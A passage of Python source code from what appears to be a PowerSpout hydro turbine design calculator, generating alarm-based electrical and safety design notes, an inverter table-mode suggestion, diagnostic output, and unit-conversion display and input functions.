3\r\n\r\n values['-1a'] = site.cable_voltage * 0.9\r\n rounds['-1a'] = -len(str(int(values['-1a']))) + 3\r\n values['-1b'] = site.Load_pwr * 0.5\r\n rounds['-1b'] = -len(str(int(values['-1b']))) + 3\r\n\r\n values['0a'] = site.cable_voltage\r\n rounds['0a'] = -len(str(int(values['0a']))) + 3\r\n values['0b'] = site.Load_pwr\r\n rounds['0b'] = -len(str(int(values['0b']))) + 3\r\n\r\n values['+1a'] = site.cable_voltage * 1.1\r\n rounds['+1a'] = -len(str(int(values['+1a']))) + 3\r\n values['+1b'] = site.Load_pwr * 1.5\r\n rounds['+1b'] = -len(str(int(values['+1b']))) + 3\r\n\r\n values['+2a'] = site.cable_voltage * 1.2\r\n rounds['+2a'] = -len(str(int(values['+2a']))) + 3\r\n values['+2b'] = site.Load_pwr * 2\r\n rounds['+2b'] = -len(str(int(values['+2b']))) + 3\r\n\r\n for items in rounds:\r\n if rounds[items] > 0: rounds[items] = 0\r\n\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Table mode ( in some inverters) can be used to resolve MPPT tracking stability issues. ' + \\\r\n 'Below is a suggested table that will help in getting you started. ' + \\\r\n 'On site adjustment (by trial and error) will be needed to get the best result when using table mode. ' + \\\r\n 'Only Power-One, EnaSolar and Ginlong inverters have a table mode setting. ' + \\\r\n 'Some off grid MPPT regulators also have table modes. ' + \\\r\n siteGUI.GUIcr + 'Suggested table' + siteGUI.GUIcr + \\\r\n 'min voltage setting, min power setting' + siteGUI.GUIcr + \\\r\n str(int(round(values['-2a'], rounds['-2a']))) + ', ' + str(\r\n int(round(values['-2b'], rounds['-2b']))) + siteGUI.GUIcr + \\\r\n str(int(round(values['-1a'], rounds['-1a']))) + ', ' + str(\r\n int(round(values['-1b'], rounds['-1b']))) + siteGUI.GUIcr + \\\r\n str(int(round(values['0a'], rounds['0a']))) + ', ' + str(\r\n int(round(values['0b'], rounds['0b']))) + siteGUI.GUIcr + \\\r\n str(int(round(values['+1a'], rounds['+1a']))) + ', ' + str(\r\n int(round(values['+1b'], rounds['+1b']))) + siteGUI.GUIcr + \\\r\n str(int(round(values['+2a'], rounds['+2a']))) + ', ' + str(\r\n int(round(values['+2b'], rounds['+2b']))) + siteGUI.GUIcr + \\\r\n 'max voltage setting, max power setting' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if sys.platform[:5] == 'linux':\r\n siteGUI.GUI_design_notes_safety = siteGUI.GUI_design_notes_safety + siteGUI.GUIcr + site.Aspace + siteGUI.GUIcr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n else:\r\n siteGUI.GUI_design_notes_hydro = '' # An empty string for design comments for the end user to read and understand\r\n for alm in range(10, 19 + 1):\r\n for search in site.alarms:\r\n if (search == alm):\r\n if (alm == 10): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Penstock loss calculations failed.' + siteGUI.GUIcr + 'Please email a copy of this screen to EcoInnovation. Sorry. This should not have happened and we want to fix this.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 11): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the pipe size limits maximum power.' \\\r\n + siteGUI.GUIcr + 'Choose a larger pipe for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 12): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the maximum jet size is in use.' \\\r\n + siteGUI.GUIcr + 'Use 2 \\'jets per PowerSpout\\' or more PowerSpouts for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 13): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the maximum jet size is in use.' \\\r\n + siteGUI.GUIcr + 'Use more PowerSpouts for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 15): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Less water is being used than is available as the output is limited by the amount of water each PowerSpout can use at this operating head.' \\\r\n + siteGUI.GUIcr + 'Use more PowerSpouts for more power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 17): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'No load speed is ' + str(\r\n int(site.runaway_rpm)) + 'rpm!!! Damage from no load over speed is not covered by warranty.' \\\r\n + siteGUI.GUIcr + 'Please either: Select a ME or GE PowerSpout to limit no load speed to less than the required 2000rpm, ' \\\r\n 'or ensure your site never operates without load.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 18): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Too much power for reliable, warrantable single jet operation. Note: All PowerSpouts are sold with 2 jets fitted!' \\\r\n + siteGUI.GUIcr + 'Please select 2 jets per PowerSpout, or more PowerSpouts, or reduce water flow and/or head, or buy additional replacement bearings.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 19): siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + \\\r\n 'Too much water pressure for reliable, warrantable operation. 130m (427ft) is the maximum operating head.' \\\r\n + siteGUI.GUIcr + 'Use a smaller penstock size to reduce the operating head. Smaller pipe is also cheaper.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n break\r\n if sys.platform[:5] == 'linux':\r\n siteGUI.GUI_design_notes_hydro = siteGUI.GUI_design_notes_hydro + siteGUI.GUIcr + site.Aspace + siteGUI.GUIcr\r\n\r\n siteGUI.GUI_design_notes_elec = '' # An empty string for design comments for the end user to read and understand\r\n for alm in range(51, 59 + 1):\r\n for search in site.alarms:\r\n if (search == alm):\r\n if (alm == 51): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Operation of PowerSpout BE on this site with no load will result in ' + str(\r\n int(site.cable_Vgen * site.OC_Vratio)) + \\\r\n 'V at the terminals and risks internal unwarrantable damage.' \\\r\n + siteGUI.GUIcr + 'Reducing cable loss may avoid this risk, or select either a ME, GE PowerSpout, or ensure your site never operates without load.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 52): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Operation of PowerSpout BE on this site with no load will result in ' + str(\r\n int(site.cable_Vgen * site.OC_Vratio)) + \\\r\n 'V at the terminals and risks internal unwarrantable damage.' \\\r\n + siteGUI.GUIcr + 'Please select either a ME or GE PowerSpout, or ensure your site never operates without load.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 54): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Cable size is within 50% of likely current rating. Cable loss calculations are based on 20 deg C (68 deg F) conductor temperature.' \\\r\n + siteGUI.GUIcr + 'Please check with your cable supplier for suitability for current handling, temperature rise and loss at this current.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 55): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Water flow reduced to prevent continuous operation of over voltage protection circuitry.' \\\r\n + siteGUI.GUIcr + 'Either use a larger cable, or a shorter cable or accept less power' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 56): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Water flow reduced to prevent over voltage damage to PowerSpout.' \\\r\n + siteGUI.GUIcr + 'Either use a larger cable, a shorter cable or accept less power.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 57): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Minimum cable size for amps is in use. Rating for this cable just ' + str(\r\n round(site.cable_amp_spec, 1)) + ' A' + siteGUI.GUIcr + siteGUI.GUIcr # Not used. See line 563\r\n\r\n if (alm == 58): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Steel wire is not all created equal and can have a wide range of loss. Calculations are based on common high tensile steel.' \\\r\n + siteGUI.GUIcr + 'Please check wih your supplier for the actual resistance of your wire' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 59): siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Turbine amps are ' + str(\r\n round(site.cable_A / site.Num_PS, 1)) + \\\r\n 'A, this exceeds the standard current rating of 32 amps, an upgrade to 50 amps is available for an extra charge. ' + \\\r\n 'Turbines >50 amp are not permitted.' \\\r\n + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n break\r\n if sys.platform[:5] == 'linux':\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + siteGUI.GUIcr + site.Aspace + siteGUI.GUIcr\r\n\r\n siteGUI.GUI_design_notes_safety = '' # An empty string for design comments for the end user to read and understand\r\n for alm in range(81, 82 + 1):\r\n for search in site.alarms:\r\n if (search == alm):\r\n if (alm == 81): siteGUI.GUI_design_notes_safety = siteGUI.GUI_design_notes_safety + \\\r\n 'Operation of PowerSpout BE on this site under load will result in ' + str(\r\n int(site.cable_Vgen + 0.5)) + \\\r\n 'V at the terminals and exceeds the Extra Low Voltage limits for non electrical workers to maintain.' \\\r\n + siteGUI.GUIcr + 'Please either select a ME series PowerSpout, or increase cable size, or reduce cable length to reduce terminal voltage, or hire a registered electrical worker.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if (alm == 82): siteGUI.GUI_design_notes_safety = siteGUI.GUI_design_notes_safety + \\\r\n 'Operation of PowerSpout BE on this site with no load will result in ' + str(\r\n int(site.cable_Vgen * site.OC_Vratio + 0.5)) + \\\r\n 'V at the terminals and exceeds the Extra Low Voltage limits for non electrical workers to maintain.' \\\r\n + siteGUI.GUIcr + 'Please select either a ME series PowerSpout, or hire a registered electrical worker, or ensure your site never operates without load.' + siteGUI.GUIcr + siteGUI.GUIcr\r\n break\r\n\r\n rounds = {}\r\n values = {}\r\n\r\n values['-2a'] = site.cable_voltage * 0.8\r\n rounds['-2a'] = -len(str(int(values['-2a']))) + 3\r\n values['-2b'] = site.Load_pwr * 0.25\r\n rounds['-2b'] = -len(str(int(values['-2b']))) + 3\r\n\r\n values['-1a'] = site.cable_voltage * 0.9\r\n rounds['-1a'] = -len(str(int(values['-1a']))) + 3\r\n values['-1b'] = site.Load_pwr * 0.5\r\n rounds['-1b'] = -len(str(int(values['-1b']))) + 3\r\n\r\n values['0a'] = site.cable_voltage\r\n rounds['0a'] = -len(str(int(values['0a']))) + 3\r\n values['0b'] = site.Load_pwr\r\n rounds['0b'] = -len(str(int(values['0b']))) + 3\r\n\r\n values['+1a'] = site.cable_voltage * 1.1\r\n rounds['+1a'] = -len(str(int(values['+1a']))) + 3\r\n values['+1b'] = site.Load_pwr * 1.5\r\n rounds['+1b'] = -len(str(int(values['+1b']))) + 3\r\n\r\n values['+2a'] = site.cable_voltage * 1.2\r\n rounds['+2a'] = -len(str(int(values['+2a']))) + 3\r\n values['+2b'] = site.Load_pwr * 2\r\n rounds['+2b'] = -len(str(int(values['+2b']))) + 3\r\n\r\n for items in rounds:\r\n if rounds[items] > 0: rounds[items] = 0\r\n\r\n siteGUI.GUI_design_notes_elec = siteGUI.GUI_design_notes_elec + \\\r\n 'Table mode ( in some inverters) can be used to resolve MPPT tracking stability issues. ' + \\\r\n 'Below is a suggested table that will help in getting you started. ' + \\\r\n 'On site adjustment (by trial and error) will be needed to get the best result when using table mode. ' + \\\r\n 'Only Power-One, EnaSolar and Ginlong inverters have a table mode setting. ' + \\\r\n 'Some off grid MPPT regulators also have table modes. ' + \\\r\n siteGUI.GUIcr + 'Suggested table' + siteGUI.GUIcr + \\\r\n 'min voltage setting, min power setting' + siteGUI.GUIcr + \\\r\n str(int(round(values['-2a'], rounds['-2a']))) + ', ' + str(\r\n int(round(values['-2b'], rounds['-2b']))) + siteGUI.GUIcr + \\\r\n str(int(round(values['-1a'], rounds['-1a']))) + ', ' + str(\r\n int(round(values['-1b'], rounds['-1b']))) + siteGUI.GUIcr + \\\r\n str(int(round(values['0a'], rounds['0a']))) + ', ' + str(\r\n int(round(values['0b'], rounds['0b']))) + siteGUI.GUIcr + \\\r\n str(int(round(values['+1a'], rounds['+1a']))) + ', ' + str(\r\n int(round(values['+1b'], rounds['+1b']))) + siteGUI.GUIcr + \\\r\n str(int(round(values['+2a'], rounds['+2a']))) + ', ' + str(\r\n int(round(values['+2b'], rounds['+2b']))) + siteGUI.GUIcr + \\\r\n 'max voltage setting, max power setting' + siteGUI.GUIcr + siteGUI.GUIcr\r\n\r\n if sys.platform[:5] == 'linux':\r\n siteGUI.GUI_design_notes_safety = siteGUI.GUI_design_notes_safety + siteGUI.GUIcr + site.Aspace + siteGUI.GUIcr\r\n\r\n computeSDtype()\r\n\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Calculation process\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" It took \" + str(\r\n site.penstock_iterations) + \" iterations to solve penstock flow rate\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" It took \" + str(\r\n site.penstock_max_pipe_iterations) + \" iterations to solve max penstock flow rate\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" It took \" + str(\r\n site.jet_iterations) + \" iterations to solve jet size limit\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" It took \" + str(\r\n site.UWW_iterations) + \" iterations to solve rpm W limit\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" penstock_area \" + str(\r\n site.penstock_area) + \"m^2\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" pelton_Wuse_rpm \" + str(\r\n site.pelton_Wuse_rpm) + \"W/rpm\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Kf_turbine \" + str(site.Kf_turbine) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Kf for penstock fittings \" + str(site.penstock_Kf) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" turbine_eff \" + str(\r\n site.turbine_eff * 100) + \"%\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" SD_eff \" + str(\r\n site.SD_eff * 100) + \"%\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" turbine_dia PCD \" + str(\r\n site.turbine_dia) + \"m\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" turbine_spd_jet \" + str(\r\n site.turbine_spd_jet * 100) + \"% runner to water speed\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" eps \" + str(site.eps) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Pipe velocity \" + str(\r\n site.pipeV) + \"m/s\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Qm \" + str(site.Qm) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Re \" + str(site.Re) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Re_consider \" + str(site.Re_consider) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" x1 \" + str(site.x1) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" x2 \" + str(site.x2) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" x3 \" + str(site.x3) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" x4 \" + str(site.x4) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Moodyfff \" + str(site.Moodyfff) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" f \" + str(site.f) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" dp_m \" + str(site.dp_m) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Effective head \" + str(\r\n site.eff_head) + \"m\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Water jet velocity \" + str(site.Vjet) + \"m/s\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Shaft pwr \" + str(\r\n site.shaft_pwr) + \"W\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \"Turbine speed for max. power \" + str(site.rpm) + \"rpm\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" runaway_rpm \" + str(\r\n site.runaway_rpm) + \"rpm\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Water jet power \" + str(\r\n site.jetpower) + \"W\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Some constants\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" density \" + str(site.density) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" gpm \" + str(site.gpm) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" gravity \" + str(site.gravity) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" meter \" + str(site.meter) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" mm \" + str(site.mm) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" mmm_lps \" + str(site.mmm_lps) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" viscosity \" + str(site.viscosity) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" penstock_flow_roughness \" + str(\r\n site.penstock_flow_roughness) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" cable_material \" + str(\r\n site.cable_material) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Water power at site \" + str(site.waterpower) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \"A 1 = Need to check design...\" + str(site.design_Chk) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" cableR_req \" + str(\r\n site.cableR_req) + \"ohm/m\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Cable ohms (ret. trip) \" + str(\r\n site.cableR) + \"ohm\" + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Cable voltage drop\" + str(\r\n site.cable_Vdrop) + \" V\" + siteGUI.GUI_diag_cr\r\n\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" Itterator counter \" + str(\r\n site.itteratorCount) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" I limited itterator counter \" + str(site.amplimCount) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" siteGUI.GUI_Num_PS_Lkd \" + str(\r\n siteGUI.GUI_Num_PS_Lkd) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" PenSLkd \" + str(\r\n siteGUI.GUI_PenSLkd) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + \" siteGUI.GUI_initial_data \" + str(\r\n siteGUI.GUI_initial_data) + siteGUI.GUI_diag_cr\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + siteGUI.GUI_diag_cr\r\n\r\n siteGUI.GUI_diag = site.SDsearch + siteGUI.GUI_diag_cr + siteGUI.GUI_diag_cr + siteGUI.GUI_diag + siteGUI.GUI_diag_cr + siteGUI.GUI_diag_cr + 'After' + siteGUI.GUI_diag_cr\r\n reportGUI()\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + 'Electrical notes here ' + siteGUI.GUI_design_notes_elec + siteGUI.GUI_diag_cr\r\n\r\n siteGUI.GUI_diag = siteGUI.GUI_diag + str(site.alarms) + siteGUI.GUI_design_notes_elec + siteGUI.GUI_diag_cr\r\n\r\n\r\n\r\n # siteGUI.GUI_cable_AWG = siteGUI.GUI_diag\r\n\r\n\r\n\r\n # siteGUI.GUI_penstock_dia = siteGUI.GUI_diag\r\n # tofile = open('diag.txt', 'w')\r\n # tofile.write(siteGUI.GUI_diag)\r\n\r\n\r\ndef put_lps():\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_avail_Wflow = str(round(site.avail_lps, 1)) + ' lps'\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n siteGUI.GUI_avail_Wflow = str(round(site.avail_lps * site.convert['gpm-lps'], 1)) + ' gpm'\r\n\r\n\r\ndef put_lpsused():\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_Wflow = str(round(site.lps, 1)) + ' lps'\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n siteGUI.GUI_Wflow = str(round(site.lps * site.convert['gpm-lps'], 1)) + ' gpm'\r\n\r\n\r\ndef put_head():\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_penstock_head = str(round(site.penstock_head, 1)) + ' m'\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n siteGUI.GUI_penstock_head = str(round(site.penstock_head * site.convert['ft-m'], 1)) + ' ft'\r\n\r\n\r\ndef put_OprHead():\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_eff_head = \"Operating head is \" + str(round(site.eff_head, 1)) + ' m'\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n siteGUI.GUI_eff_head = \"Operating head is \" + str(round(site.eff_head * site.convert['ft-m'], 1)) + ' ft'\r\n\r\n\r\ndef put_PenLen():\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_penstock_len = str(int(round(site.penstock_len, 0))) + ' m'\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n siteGUI.GUI_penstock_len = str(int(round(site.penstock_len * site.convert['ft-m'], 0))) + ' ft'\r\n\r\n\r\ndef put_PenEffTarget():\r\n siteGUI.GUI_penstock_eff_target = str(int(site.penstock_eff_target * 100)) + ' %'\r\n\r\n\r\ndef put_PenDia():\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_penstock_dia = str(int(round(site.penstock_dia * site.convert['mm-m'], 0))) + ' mm'\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n siteGUI.GUI_penstock_dia = str(round(site.penstock_dia * site.convert['in-m'], 2)) + ' in'\r\n\r\n\r\ndef put_Num_PS():\r\n siteGUI.GUI_Num_PS = int(site.Num_PS)\r\n siteGUI.GUI_turbine_nozzles = int(site.turbine_nozzles)\r\n\r\n\r\ndef put_JetDia():\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_jet_dia = str(round(site.jet_dia * site.convert['mm-m'], 1)) + ' mm'\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n siteGUI.GUI_jet_dia = str(round(site.jet_dia * site.convert['in-m'], 2)) + ' in'\r\n\r\n\r\ndef put_ActPenEff():\r\n siteGUI.GUI_actual_pipe_eff = str(int(site.jetpower / site.waterpower * 100)) + ' %'\r\n\r\n\r\ndef put_OprRPM():\r\n siteGUI.GUI_Opr_rpm = str(int(site.rpm)) + ' rpm'\r\n\r\n\r\ndef put_eaPS_W():\r\n siteGUI.GUI_PS_pwr_ea = str(int(site.Actual_turbine_electric_pwr / site.Num_PS)) + ' W'\r\n\r\n\r\ndef put_allPS_W():\r\n siteGUI.GUI_Actual_turbine_electric_pwr = str(int(site.Actual_turbine_electric_pwr)) + ' W'\r\n\r\n\r\ndef put_cableEff_targ():\r\n siteGUI.GUI_cable_eff_target = str(int(site.cable_eff_target * 100)) + ' %'\r\n\r\n\r\ndef put_CableLen():\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n siteGUI.GUI_cable_len = str(int(round(site.cable_len, 0))) + ' m'\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n siteGUI.GUI_cable_len = str(int(round(site.cable_len * site.convert['ft-m'], 0))) + ' ft'\r\n\r\n\r\ndef put_DesLdV():\r\n siteGUI.GUI_Dload_V = str(int(site.design_cable_voltage + 0.5)) + ' V'\r\n\r\n\r\ndef put_ActLdV():\r\n siteGUI.GUI_Aload_V = str(int(site.cable_voltage + 0.5)) + ' V'\r\n\r\n\r\ndef put_CableSize():\r\n siteGUI.GUI_cable_size = str(round(site.cable_size, 3)) + ' mm^2'\r\n\r\n\r\ndef put_CableAWG():\r\n siteGUI.GUI_cable_AWG = str(site.cable_gauge) + ' AWG'\r\n\r\n\r\ndef put_CableDetails():\r\n siteGUI.GUI_cable_dia_mm_sld = str(round(pow(site.cable_size / pi, 0.5) * 2, 2)) + ' mm'\r\n siteGUI.GUI_cable_dia_mm_str = str(round(pow(site.cable_size / 0.58 / pi, 0.5) * 2, 2)) + ' mm'\r\n siteGUI.GUI_cable_dia_in_sld = str(round(pow(site.cable_size / pi, 0.5) * 2 / 25.4, 3)) + ' in'\r\n siteGUI.GUI_cable_dia_in_str = str(round(pow(site.cable_size / 0.58 / pi, 0.5) * 2 / 25.4, 3)) + ' in'\r\n\r\n siteGUI.GUI_cable_amps = str(round(site.cable_A, 1)) + ' A'\r\n siteGUI.GUI_actual_cable_eff = str(int(site.Load_pwr / site.Actual_turbine_electric_pwr * 100 + 0.5)) + ' %'\r\n siteGUI.GUI_cable_Vgen = str(int(site.cable_Vgen + 0.5)) + ' V'\r\n siteGUI.GUI_Load_pwr = str(int(site.Load_pwr + 0.5)) + ' W'\r\n\r\n\r\ndef fetchall(): # Fetch all user inputs\r\n fetchlps()\r\n fetchhead()\r\n fetchpenlen()\r\n fetchpenefftarg()\r\n fetchpendia()\r\n fetchcablelen()\r\n fetchcableefftarg()\r\n fetchloadV()\r\n site.cable_material = siteGUI.GUI_cable_material\r\n site.cableLock = int(siteGUI.GUI_LockCable)\r\n fetchcablesize()\r\n fetchNum_PS()\r\n fetchNumNoz()\r\n\r\n\r\ndef fetchlps(): # Get users lps entered. Only called from fetchall() and BasicData()\r\n temp = site.avail_lps\r\n\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n site.avail_lps = textread(siteGUI.GUI_avail_Wflow, 'lps', 'lps')\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n site.avail_lps = textread(siteGUI.GUI_avail_Wflow, 'gpm', 'lps')\r\n\r\n maxlps = 50\r\n minlps = 0.1\r\n if (site.PStype[:3] == 'TRG'):\r\n maxlps = 200\r\n minlps = 6\r\n\r\n if ((temp <= maxlps) and (temp >= minlps) and (site.avail_lps == 0)):\r\n site.avail_lps = temp\r\n else:\r\n if ((temp != 0) or (site.avail_lps != 0)):\r\n if (site.avail_lps > maxlps):\r\n site.avail_lps = maxlps\r\n if (site.avail_lps < minlps):\r\n site.avail_lps = minlps\r\n\r\n site.lps = site.avail_lps\r\n\r\n\r\ndef fetchhead(): # Get site head entered. Only called from fetchall() and newBasicData() # converts users values into the max or min values\r\n temp = site.penstock_head\r\n\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n site.penstock_head = textread(siteGUI.GUI_penstock_head, 'm', 'm')\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n site.penstock_head = textread(siteGUI.GUI_penstock_head, 'ft', 'm')\r\n\r\n max_m = 160\r\n min_m = 3\r\n if (site.PStype[:3] == 'TRG'):\r\n max_m = 40\r\n min_m = 2\r\n\r\n if ((temp <= max_m) and (temp >= min_m) and (site.penstock_head == 0)):\r\n site.penstock_head = temp\r\n else:\r\n if ((temp != 0) or (site.penstock_head != 0)):\r\n if (site.penstock_head > max_m):\r\n site.penstock_head = max_m\r\n if (site.penstock_head < min_m):\r\n site.penstock_head = min_m\r\n\r\n\r\ndef fetchpenlen(): # Get this site data entered. Only called from fetchall()\r\n temp = site.penstock_len\r\n\r\n if (siteGUI.GUI_meas_sys == 'Metric'):\r\n site.penstock_len = textread(siteGUI.GUI_penstock_len, 'm', 'm')\r\n if (siteGUI.GUI_meas_sys == 'Imperial'):\r\n site.penstock_len = textread(siteGUI.GUI_penstock_len, 'ft', 'm')\r\n\r\n if ((temp <= 5000) and (temp >= site.penstock_len) and (site.penstock_len == 0)):\r\n site.penstock_len = temp\r\n else:\r\n if ((temp != 0) or (site.penstock_len != 0)):\r\n if (site.penstock_len > 5000):\r\n site.penstock_len = 5000\r\n if (site.penstock_len < 3): # Was site.penstock_head before instead of 3m as min 